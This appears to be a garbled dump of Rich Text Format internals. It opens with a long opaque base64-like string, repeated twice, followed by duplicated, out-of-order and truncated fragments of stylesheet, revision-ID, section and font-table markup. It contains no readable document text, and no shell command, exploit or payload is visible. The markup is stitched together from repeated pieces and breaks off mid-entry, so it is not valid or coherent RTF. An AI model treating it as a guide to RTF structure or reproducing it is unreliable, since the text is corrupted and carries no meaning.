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 {\\*\\cs17 \\additive \\spriority0 \\styrsid4986254 css;}{\\*\\cs18 \\additive \\rtlch\\fcs1 \\af0 \\ltrch\\fcs0 l\\cf17 \\sbasedon10 \\sunhideused \\styrsid4986254 Hyperlink;}}{\\*\\rsidtbl \\rsid1847526\\rsid2183709\\rsid4986254\\rsid5312551\\rsid5783536\\rsid7935111 {\\*\\latentstyles\\lsdstimax267\\lsdlockeddef0\\lsdsemihiddendef1\\lsdunhideuseddef1\\lsdqformatdef0\\lsdprioritydef99{\\lsdlockedexcept \\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority0 \\lsdlocked0 Normal; {\\*\\rsidtbl \\rsid1060393\\rsid1116386\\rsid1585482\\rsid1847526\\rsid2183709\\rsid5122917\\rsid5783536\\rsid8002206\\rsid8664178\\rsid14237745\\rsid14432744\\rsid14957115}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1 {\\*\\rsidtbl \\rsid1199835\\rsid1847526\\rsid2183709\\rsid5180496\\rsid10775863\\rsid11827162\\rsid12867363\\rsid14237745\\rsid14432744}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1} {\\*\\rsidtbl \\rsid1847526\\rsid2052277\\rsid2183709\\rsid3094406\\rsid3241513\\rsid3475210\\rsid4617418\\rsid14237745\\rsid14315351\\rsid14432744}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0 {\\*\\rsidtbl \\rsid1847526\\rsid2183709\\rsid3110250\\rsid6447444\\rsid13779469\\rsid14237745\\rsid14432744\\rsid15532574\\rsid15803123}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1} {\\*\\rsidtbl \\rsid1847526\\rsid2183709\\rsid4400686\\rsid7362391\\rsid8666578\\rsid10424774\\rsid12063738\\rsid14237745\\rsid14432744}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1} {\\*\\rsidtbl \\rsid1847526\\rsid2183709\\rsid4928855\\rsid6827409\\rsid13056521\\rsid14237745\\rsid14432744\\rsid15803123\\rsid16268367}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1} {\\*\\rsidtbl \\rsid1847526\\rsid2183709\\rsid5593755\\rsid6228682\\rsid11282901\\rsid11698073\\rsid14178431\\rsid14237745\\rsid14432744}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1} {\\*\\rsidtbl \\rsid335535\\rsid1847526\\rsid2183709\\rsid7240468\\rsid8458214\\rsid11828659\\rsid12743656\\rsid14237745\\rsid14432744}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1} {\\*\\rsidtbl \\rsid420751\\rsid1847526\\rsid2183709\\rsid4476117\\rsid14178431\\rsid14237745\\rsid14432744\\rsid14574943\\rsid15614891}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1} {\\*\\rsidtbl \\rsid4763\\rsid1847526\\rsid2183709\\rsid8528114\\rsid11406400\\rsid12997017\\rsid14237745\\rsid14432744\\rsid15803869}{\\mmathPr\\mmathFont34\\mbrkBin0\\mbrkBinSub0\\msmallFrac0\\mdispDef1\\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1} {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid11406400\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid11828659\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid12867363\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid1585482\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid1838094\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid3094406\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid3689921\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid4400686\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid4476117\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid6228682\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid6447444\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\wgrffmtfilter 2450}\\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sectrsid6827409\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 {\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\\paperw12240\\paperh15840\\margl1034\\margr1034\\margt1701\\margb1440\\gutter0\\ltrsect {\\colortbl;\\red0\\green0\\blue0;\\red0\\green0\\blue255;\\red0\\green255\\blue255;\\red0\\green255\\blue0;\\red255\\green0\\blue255;\\red255\\green0\\blue0;\\red255\\green255\\blue0;\\red255\\green255\\blue255;\\red0\\green0\\blue128;\\red0\\green128\\blue128;\\red0\\green128\\blue0; {\\f1001\\fbidi \\fmodern\\fcharset204\\fprq1 @MS Mincho Cyr;}{\\f1003\\fbidi \\fmodern\\fcharset161\\fprq1 @MS Mincho Greek;}{\\f1004\\fbidi \\fmodern\\fcharset162\\fprq1 @MS Mincho Tur;}{\\f1007\\fbidi \\fmodern\\fcharset186\\fprq1 @MS Mincho Baltic;} {\\f1073\\fbidi \\fmodern\\fcharset161\\fprq1 GulimChe Greek;}{\\f1074\\fbidi \\fmodern\\fcharset162\\fprq1 GulimChe Tur;}{\\f1077\\fbidi \\fmodern\\fcharset186\\fprq1 GulimChe Baltic;}{\\f1082\\fbidi \\fmodern\\fcharset0\\fprq1 @\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc Western;} {\\f1080\\fbidi \\fmodern\\fcharset238\\fprq1 @\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc CE;}{\\f1081\\fbidi \\fmodern\\fcharset204\\fprq1 @\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc Cyr;}{\\f1083\\fbidi \\fmodern\\fcharset161\\fprq1 @\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc Greek;} {\\f1084\\fbidi \\fmodern\\fcharset162\\fprq1 @\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc Tur;}{\\f1087\\fbidi \\fmodern\\fcharset186\\fprq1 @\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc Baltic;}{\\f1442\\fbidi \\fswiss\\fcharset0\\fprq2 Microsoft YaHei Western;} {\\f1084\\fbidi \\fmodern\\fcharset162\\fprq1 @\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc Tur;}{\\f1087\\fbidi \\fmodern\\fcharset186\\fprq1 @\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc Baltic;}{\\flomajor\\f31508\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;} {\\f11\\fbidi \\fmodern\\fcharset128\\fprq1{\\*\\panose 02020609040205080304}MS Mincho{\\*\\falt ?l?r ??\\'81\\'66c};}{\\f12\\fbidi \\froman\\fcharset129\\fprq2{\\*\\panose 02030600000101010101}\\'b9\\'d9\\'c5\\'c1{\\*\\falt Batang};} {\\f12\\fbidi \\froman\\fcharset129\\fprq2{\\*\\panose 02030600000101010101}\\'b9\\'d9\\'c5\\'c1{\\*\\falt Batang};}{\\f18\\fbidi \\fmodern\\fcharset136\\fprq1{\\*\\panose 02020509000000000000}MingLiU{\\*\\falt 2OcuAe};} {\\f1440\\fbidi \\fswiss\\fcharset238\\fprq2 Microsoft YaHei CE;}{\\f1441\\fbidi \\fswiss\\fcharset204\\fprq2 Microsoft YaHei Cyr;}{\\f1443\\fbidi \\fswiss\\fcharset161\\fprq2 Microsoft YaHei Greek;}{\\f1444\\fbidi \\fswiss\\fcharset162\\fprq2 Microsoft YaHei Tur;} {\\f1452\\fbidi \\fswiss\\fcharset0\\fprq2 @Microsoft YaHei Western;}{\\f1450\\fbidi \\fswiss\\fcharset238\\fprq2 @Microsoft YaHei CE;}{\\f1451\\fbidi \\fswiss\\fcharset204\\fprq2 @Microsoft YaHei Cyr;}{\\f1453\\fbidi \\fswiss\\fcharset161\\fprq2 @Microsoft YaHei Greek;} {\\f1454\\fbidi \\fswiss\\fcharset162\\fprq2 @Microsoft YaHei Tur;}{\\flomajor\\f31508\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;}{\\flomajor\\f31509\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;} {\\f18\\fbidi \\fmodern\\fcharset136\\fprq1{\\*\\panose 02020509000000000000}MingLiU{\\*\\falt 2OcuAe};}{\\f34\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02040503050406030204}Cambria Math;} {\\f34\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02040503050406030204}Cambria Math;}{\\f36\\fbidi \\fmodern\\fcharset129\\fprq2{\\*\\panose 020b0503020000020004}\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1;} {\\f34\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02040503050406030204}Cambria Math;}{\\f37\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02040503050406030204}Cambria;}{\\f41\\fbidi \\fmodern\\fcharset0\\fprq1{\\*\\panose 020b0609020204030204}Consolas;} {\\f34\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02040503050406030204}Cambria Math;}{\\f41\\fbidi \\fmodern\\fcharset0\\fprq1{\\*\\panose 020b0609020204030204}Consolas;}{\\f44\\fbidi \\froman\\fcharset129\\fprq2{\\*\\panose 02030600000101010101}@\\'b9\\'d9\\'c5\\'c1;} {\\f36\\fbidi \\fmodern\\fcharset129\\fprq2{\\*\\panose 020b0503020000020004}\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1;}{\\f40\\fbidi \\fmodern\\fcharset129\\fprq2{\\*\\panose 020b0503020000020004}@\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1;} {\\f37\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02040503050406030204}Cambria;}{\\f40\\fbidi \\fmodern\\fcharset129\\fprq2{\\*\\panose 020b0503020000020004}@\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1;} {\\f41\\fbidi \\fmodern\\fcharset0\\fprq1{\\*\\panose 020b0609020204030204}Consolas;}{\\f44\\fbidi \\froman\\fcharset129\\fprq2{\\*\\panose 02030600000101010101}@\\'b9\\'d9\\'c5\\'c1;}{\\f45\\fbidi \\fmodern\\fcharset136\\fprq1{\\*\\panose 02020509000000000000}@MingLiU;} {\\f41\\fbidi \\fmodern\\fcharset0\\fprq1{\\*\\panose 020b0609020204030204}Consolas;}{\\flomajor\\f31500\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;} {\\f45\\fbidi \\fmodern\\fcharset136\\fprq1{\\*\\panose 02020509000000000000}@MingLiU;}{\\f53\\fbidi \\fmodern\\fcharset129\\fprq1{\\*\\panose 020b0609000101010101}\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc;} {\\f46\\fbidi \\fmodern\\fcharset128\\fprq1{\\*\\panose 02020609040205080304}@MS Mincho;}{\\flomajor\\f31500\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;} {\\f53\\fbidi \\fmodern\\fcharset129\\fprq1{\\*\\panose 020b0609000101010101}\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc;}{\\f54\\fbidi \\fmodern\\fcharset129\\fprq1{\\*\\panose 020b0609000101010101}@\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc;} {\\f541\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;}{\\f543\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;}{\\f544\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;}{\\f545\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);} {\\f543\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;}{\\f544\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;}{\\f545\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);}{\\f546\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);} {\\f546\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);}{\\f547\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;}{\\f548\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);}{\\f880\\fbidi \\froman\\fcharset238\\fprq2 Cambria Math CE;} {\\f547\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;}{\\f548\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);}{\\f550\\fbidi \\fswiss\\fcharset238\\fprq2 Arial CE;}{\\f551\\fbidi \\fswiss\\fcharset204\\fprq2 Arial Cyr;} {\\f547\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;}{\\f548\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);}{\\f560\\fbidi \\fmodern\\fcharset238\\fprq1 Courier New CE;}{\\f561\\fbidi \\fmodern\\fcharset204\\fprq1 Courier New Cyr;} {\\f54\\fbidi \\fmodern\\fcharset129\\fprq1{\\*\\panose 020b0609000101010101}@\\'b1\\'bc\\'b8\\'b2\\'c3\\'bc;}{\\f90\\fbidi \\fswiss\\fcharset134\\fprq2{\\*\\panose 020b0503020204020204}Microsoft YaHei;} {\\f553\\fbidi \\fswiss\\fcharset161\\fprq2 Arial Greek;}{\\f554\\fbidi \\fswiss\\fcharset162\\fprq2 Arial Tur;}{\\f555\\fbidi \\fswiss\\fcharset177\\fprq2 Arial (Hebrew);}{\\f556\\fbidi \\fswiss\\fcharset178\\fprq2 Arial (Arabic);} {\\f557\\fbidi \\fswiss\\fcharset186\\fprq2 Arial Baltic;}{\\f558\\fbidi \\fswiss\\fcharset163\\fprq2 Arial (Vietnamese);}{\\f652\\fbidi \\fmodern\\fcharset0\\fprq1 MS Mincho Western{\\*\\falt ?l?r ??\\'81\\'66c};} {\\f557\\fbidi \\fswiss\\fcharset186\\fprq2 Arial Baltic;}{\\f558\\fbidi \\fswiss\\fcharset163\\fprq2 Arial (Vietnamese);}{\\f662\\fbidi \\froman\\fcharset0\\fprq2 Batang Western{\\*\\falt Batang};}{\\f660\\fbidi \\froman\\fcharset238\\fprq2 Batang CE{\\*\\falt Batang};} {\\f563\\fbidi \\fmodern\\fcharset161\\fprq1 Courier New Greek;}{\\f564\\fbidi \\fmodern\\fcharset162\\fprq1 Courier New Tur;}{\\f565\\fbidi \\fmodern\\fcharset177\\fprq1 Courier New (Hebrew);}{\\f566\\fbidi \\fmodern\\fcharset178\\fprq1 Courier New (Arabic);} {\\f567\\fbidi \\fmodern\\fcharset186\\fprq1 Courier New Baltic;}{\\f568\\fbidi \\fmodern\\fcharset163\\fprq1 Courier New (Vietnamese);}{\\f880\\fbidi \\froman\\fcharset238\\fprq2 Cambria Math CE;}{\\f881\\fbidi \\froman\\fcharset204\\fprq2 Cambria Math Cyr;} {\\f650\\fbidi \\fmodern\\fcharset238\\fprq1 MS Mincho CE{\\*\\falt ?l?r ??\\'81\\'66c};}{\\f651\\fbidi \\fmodern\\fcharset204\\fprq1 MS Mincho Cyr{\\*\\falt ?l?r ??\\'81\\'66c};}{\\f653\\fbidi \\fmodern\\fcharset161\\fprq1 MS Mincho Greek{\\*\\falt ?l?r ??\\'81\\'66c};} {\\f654\\fbidi \\fmodern\\fcharset162\\fprq1 MS Mincho Tur{\\*\\falt ?l?r ??\\'81\\'66c};}{\\f657\\fbidi \\fmodern\\fcharset186\\fprq1 MS Mincho Baltic{\\*\\falt ?l?r ??\\'81\\'66c};}{\\f662\\fbidi \\froman\\fcharset0\\fprq2 Batang Western{\\*\\falt Batang};} {\\f660\\fbidi \\froman\\fcharset238\\fprq2 Batang CE{\\*\\falt Batang};}{\\f661\\fbidi \\froman\\fcharset204\\fprq2 Batang Cyr{\\*\\falt Batang};}{\\f663\\fbidi \\froman\\fcharset161\\fprq2 Batang Greek{\\*\\falt Batang};} {\\f661\\fbidi \\froman\\fcharset204\\fprq2 Batang Cyr{\\*\\falt Batang};}{\\f663\\fbidi \\froman\\fcharset161\\fprq2 Batang Greek{\\*\\falt Batang};}{\\f664\\fbidi \\froman\\fcharset162\\fprq2 Batang Tur{\\*\\falt Batang};} {\\f664\\fbidi \\froman\\fcharset162\\fprq2 Batang Tur{\\*\\falt Batang};}{\\f667\\fbidi \\froman\\fcharset186\\fprq2 Batang Baltic{\\*\\falt Batang};}{\\f722\\fbidi \\fmodern\\fcharset0\\fprq1 MingLiU Western{\\*\\falt 2OcuAe};} {\\f667\\fbidi \\froman\\fcharset186\\fprq2 Batang Baltic{\\*\\falt Batang};}{\\f722\\fbidi \\fmodern\\fcharset0\\fprq1 MingLiU Western{\\*\\falt 2OcuAe};}{\\f880\\fbidi \\froman\\fcharset238\\fprq2 Cambria Math CE;}{\\f881\\fbidi \\froman\\fcharset204\\fprq2 Cambria Math Cyr;} {\\f880\\fbidi \\froman\\fcharset238\\fprq2 Cambria Math CE;}{\\f881\\fbidi \\froman\\fcharset204\\fprq2 Cambria Math Cyr;}{\\f883\\fbidi \\froman\\fcharset161\\fprq2 Cambria Math Greek;}{\\f884\\fbidi \\froman\\fcharset162\\fprq2 Cambria Math Tur;} {\\f881\\fbidi \\froman\\fcharset204\\fprq2 Cambria Math Cyr;}{\\f883\\fbidi \\froman\\fcharset161\\fprq2 Cambria Math Greek;}{\\f884\\fbidi \\froman\\fcharset162\\fprq2 Cambria Math Tur;}{\\f887\\fbidi \\froman\\fcharset186\\fprq2 Cambria Math Baltic;} {\\f883\\fbidi \\froman\\fcharset161\\fprq2 Cambria Math Greek;}{\\f884\\fbidi \\froman\\fcharset162\\fprq2 Cambria Math Tur;}{\\f887\\fbidi \\froman\\fcharset186\\fprq2 Cambria Math Baltic;}{\\f888\\fbidi \\froman\\fcharset163\\fprq2 Cambria Math (Vietnamese);} {\\f887\\fbidi \\froman\\fcharset186\\fprq2 Cambria Math Baltic;}{\\f888\\fbidi \\froman\\fcharset163\\fprq2 Cambria Math (Vietnamese);}{\\f902\\fbidi \\fmodern\\fcharset0\\fprq2 Malgun Gothic Western;} {\\f888\\fbidi \\froman\\fcharset163\\fprq2 Cambria Math (Vietnamese);}{\\f910\\fbidi \\froman\\fcharset238\\fprq2 Cambria CE;}{\\f911\\fbidi \\froman\\fcharset204\\fprq2 Cambria Cyr;}{\\f913\\fbidi \\froman\\fcharset161\\fprq2 Cambria Greek;} {\\f902\\fbidi \\fmodern\\fcharset0\\fprq2 Malgun Gothic Western;}{\\f910\\fbidi \\froman\\fcharset238\\fprq2 Cambria CE;}{\\f911\\fbidi \\froman\\fcharset204\\fprq2 Cambria Cyr;}{\\f913\\fbidi \\froman\\fcharset161\\fprq2 Cambria Greek;} {\\f914\\fbidi \\froman\\fcharset162\\fprq2 Cambria Tur;}{\\f917\\fbidi \\froman\\fcharset186\\fprq2 Cambria Baltic;}{\\f918\\fbidi \\froman\\fcharset163\\fprq2 Cambria (Vietnamese);}{\\f942\\fbidi \\fmodern\\fcharset0\\fprq2 @\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1 Western;} {\\f914\\fbidi \\froman\\fcharset162\\fprq2 Cambria Tur;}{\\f917\\fbidi \\froman\\fcharset186\\fprq2 Cambria Baltic;}{\\f918\\fbidi \\froman\\fcharset163\\fprq2 Cambria (Vietnamese);}{\\f950\\fbidi \\fmodern\\fcharset238\\fprq1 Consolas CE;} {\\f91\\fbidi \\fswiss\\fcharset134\\fprq2{\\*\\panose 020b0503020204020204}@Microsoft YaHei;}{\\flomajor\\f31500\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;} {\\f942\\fbidi \\fmodern\\fcharset0\\fprq2 @\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1 Western;}{\\f950\\fbidi \\fmodern\\fcharset238\\fprq1 Consolas CE;}{\\f951\\fbidi \\fmodern\\fcharset204\\fprq1 Consolas Cyr;}{\\f953\\fbidi \\fmodern\\fcharset161\\fprq1 Consolas Greek;} {\\f950\\fbidi \\fmodern\\fcharset238\\fprq1 Consolas CE;}{\\f951\\fbidi \\fmodern\\fcharset204\\fprq1 Consolas Cyr;}{\\f953\\fbidi \\fmodern\\fcharset161\\fprq1 Consolas Greek;}{\\f954\\fbidi \\fmodern\\fcharset162\\fprq1 Consolas Tur;} {\\f951\\fbidi \\fmodern\\fcharset204\\fprq1 Consolas Cyr;}{\\f953\\fbidi \\fmodern\\fcharset161\\fprq1 Consolas Greek;}{\\f954\\fbidi \\fmodern\\fcharset162\\fprq1 Consolas Tur;}{\\f957\\fbidi \\fmodern\\fcharset186\\fprq1 Consolas Baltic;} {\\f954\\fbidi \\fmodern\\fcharset162\\fprq1 Consolas Tur;}{\\f957\\fbidi \\fmodern\\fcharset186\\fprq1 Consolas Baltic;}{\\f958\\fbidi \\fmodern\\fcharset163\\fprq1 Consolas (Vietnamese);}{\\f982\\fbidi \\froman\\fcharset0\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Western;} {\\f957\\fbidi \\fmodern\\fcharset186\\fprq1 Consolas Baltic;}{\\f958\\fbidi \\fmodern\\fcharset163\\fprq1 Consolas (Vietnamese);}{\\f982\\fbidi \\froman\\fcharset0\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Western;}{\\f980\\fbidi \\froman\\fcharset238\\fprq2 